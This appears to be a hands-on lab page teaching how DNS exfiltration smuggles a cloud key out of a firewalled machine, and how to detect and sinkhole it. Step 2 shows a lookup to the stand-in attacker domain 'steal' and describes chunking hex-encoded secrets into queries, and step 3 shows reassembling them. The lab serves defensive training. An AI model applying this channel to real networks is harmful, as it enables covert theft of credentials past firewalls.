Labs / Night Watch / DNS sinkholes & covert channels

Lab 2 of 2 · DNS sinkholes & covert channels

DNS exfiltration: smuggling data out through the one port left open

See how data leaks out through DNS queries, and how to stop it.

Start this lab 5 steps

The idea

Dagny runs the network at Brackwater Pharmacy's head office. Their build machine holds the company's cloud keys, so she cut it off from the internet completely: the firewall drops every connection it tries to make. This morning the cloud provider flagged one of those keys in use from an address nobody knows.

The hole is name lookups (DNS). A machine allowed no connection out is almost always still allowed to look up names, and DNS exfiltration hides stolen data inside the names it asks for. Watch the key leak out one lookup at a time, then find the trail and shut it.

The resolver crosses for it
The resolver crosses for it
The question is the message
The question is the message
Numbered chunks, back into the key
Numbered chunks, back into the key
A trickle or a flood
A trickle or a flood
One address dropped, the rest works
One address dropped, the rest works

Steps

  1. A host with no way out

    Dagny's build machine, victim in the lab, is sealed in: the firewall drops anything it sends toward the internet. It can still look up names, though, because it asks the resolver on its own network, and the resolver is the one that reaches out. That one allowed path is the opening.

    victim:~# curl -m3 http://10.0.2.11/
    victim:~# dig +short www.site
  2. Smuggle a secret out

    The attacker owns the domain steal, so any name looked up under it is carried to the attacker's name server, which writes it down. The lab first runs the attacker's script on the build machine: it turns the cloud key into hex (digits and the letters a to f, all legal in a name), cuts the hex into chunks, and looks up one name per chunk.

    Send one lookup under that domain by hand and watch it get answered. The key left the same way, one name at a time.

    victim:~# dig +short ping.d.steal
  3. The attacker reassembles it

    To see what Dagny is up against, switch to the attacker's side. Every name the build machine looked up now sits in the attacker's name-server log.

    Read the smuggled names first. Then read the key that falls out of them once the chunks are put back in order and the hex is turned back into text. It never crossed the firewall as anything but ordinary DNS.

    attackerNs:~# grep -oE '[0-9]+\.[0-9a-f]+\.d\.steal' /var/log/named.log
    attackerNs:~# cat /tmp/recovered.txt
  4. The tunnel has a shape

    Dagny does not need to decode anything to spot this. Normal DNS is a trickle of short, familiar names, while a tunnel is a flood of lookups to one domain, each name long and random. Read the resolver's own log and see the shape.

    resolver:~# grep -c d.steal /var/log/unbound.log
    resolver:~# grep -oE -m3 '[0-9]+\.[0-9a-f]+\.d\.steal' /var/log/unbound.log
  5. Sinkhole the bad name server

    Now that Dagny knows the domain is bad, she cuts it off. On the router, drop traffic to the attacker's name server, so the resolver can no longer reach it and every exfil lookup fails. The test is whether ordinary DNS survives.

    router:~# iptables -I FORWARD -d 10.0.2.11 -j DROP
    victim:~# dig +time=2 +tries=1 abcd.d.steal
    victim:~# dig +short www.site

Run these steps on real machines

Learn it on real machines.

Every lab is a small network of real Linux machines in your browser. Sign in with Google or email to start.

Start this lab